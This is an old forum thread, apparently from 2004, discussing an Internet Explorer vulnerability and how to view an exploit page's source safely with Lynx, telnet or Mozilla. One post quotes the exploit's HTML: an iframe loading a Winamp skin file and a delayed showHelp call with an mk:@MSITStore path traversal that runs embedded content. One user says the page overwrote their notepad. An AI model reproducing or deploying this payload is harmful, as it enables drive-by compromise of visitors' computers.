If you were a Microsoft programmer working on the IE team, would you admit it to your friends?
http://www.securitytracker.com/alerts/2003/Dec/1008578.html This one is pretty fun.
http://www.freewebs.com/arman2/showamp.htm Here is an example.
I can't even view its source the easy way :)
use msinet, before i lost everything due to a reformat, i made a small program that uses inet to grab the source, and build a text-only display of the contents of a website, therefore, no popups or crashing, good for testing links and such...
Quote from: MesiaH on January 01, 2004, 05:18 PM
use msinet, before i lost everything due to a reformat, i made a small program that uses inet to grab the source, and build a text-only display of the contents of a website, therefore, no popups or crashing, good for testing links and such...
Or you could use Lynx. :P
Quote from: Kp on January 01, 2004, 06:05 PM
Quote from: MesiaH on January 01, 2004, 05:18 PM
use msinet, before i lost everything due to a reformat, i made a small program that uses inet to grab the source, and build a text-only display of the contents of a website, therefore, no popups or crashing, good for testing links and such...
Or you could use Lynx. :P
I would just use telnet :/
bleeeeh.
I did View -> Source...
Quote from: Spht on January 01, 2004, 08:25 PM
I did View -> Source...
That wouldn't work for me - So i packet logged it, took source and stuck it at http://www.userloser.net/test.html - slightly modified ;D
Quote from: iago on January 01, 2004, 06:49 PMI would just use telnet :/
It's much easier to follow links in Lynx than in telnet though. :)
I went to the example link that Thing provided and after viewing everything I don't have notepad anymore :-\. I think that one program overwrote my notepad program and now I don't have it... I need help to recover the real notepad.
delete bad notepad.exe and replace with real notepad.exe ?
Quote from: Kp on January 01, 2004, 09:26 PM
Quote from: iago on January 01, 2004, 06:49 PMI would just use telnet :/
It's much easier to follow links in Lynx than in telnet though. :)
There aren't any links, I just wanted to view the source.
why not just go to the main page, look at the link to go to the exploit page, and save the target to disk? worked for me.
<iframe src=xvulnx.wsz></iframe>
<h1>Wait For 8 Seconds...</h1>
<script>
setTimeout(
function () {
showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\program files\\winamp\\skins\\xvulnx.wsz::\self-exec.html");
},
8000
);
</script>
I opened it in the obviously-immune Mozilla Firebird and did View -> Page Source.
Quote
Critical Updates and Service Packs
Windows Update did not find any critical updates for your computer
I love microsoft
Quote from: iago on January 02, 2004, 04:49 AMQuote from: Kp on January 01, 2004, 09:26 PMQuote from: iago on January 01, 2004, 06:49 PMI would just use telnet :/
It's much easier to follow links in Lynx than in telnet though. :)
There aren't any links, I just wanted to view the source.
I was responding to Mesiah's comment about how to test pages/links without subjecting yourself to IE vulnerabilities in the process. For his case, it sounded like there would be links, in which case Lynx would be easier to use than telnet.
Ah, then life's good. Thought you were saying I should have used lynx.
Incidently, does lynx have built-in support to view source? It's surprising if it doesn't, but is lynx open-source?
Quote from: iago on January 02, 2004, 01:36 PM
Incidently, does lynx have built-in support to view source?
Backslash toggles between source and rendered view. (See Lynx keystroke help for a full listing.)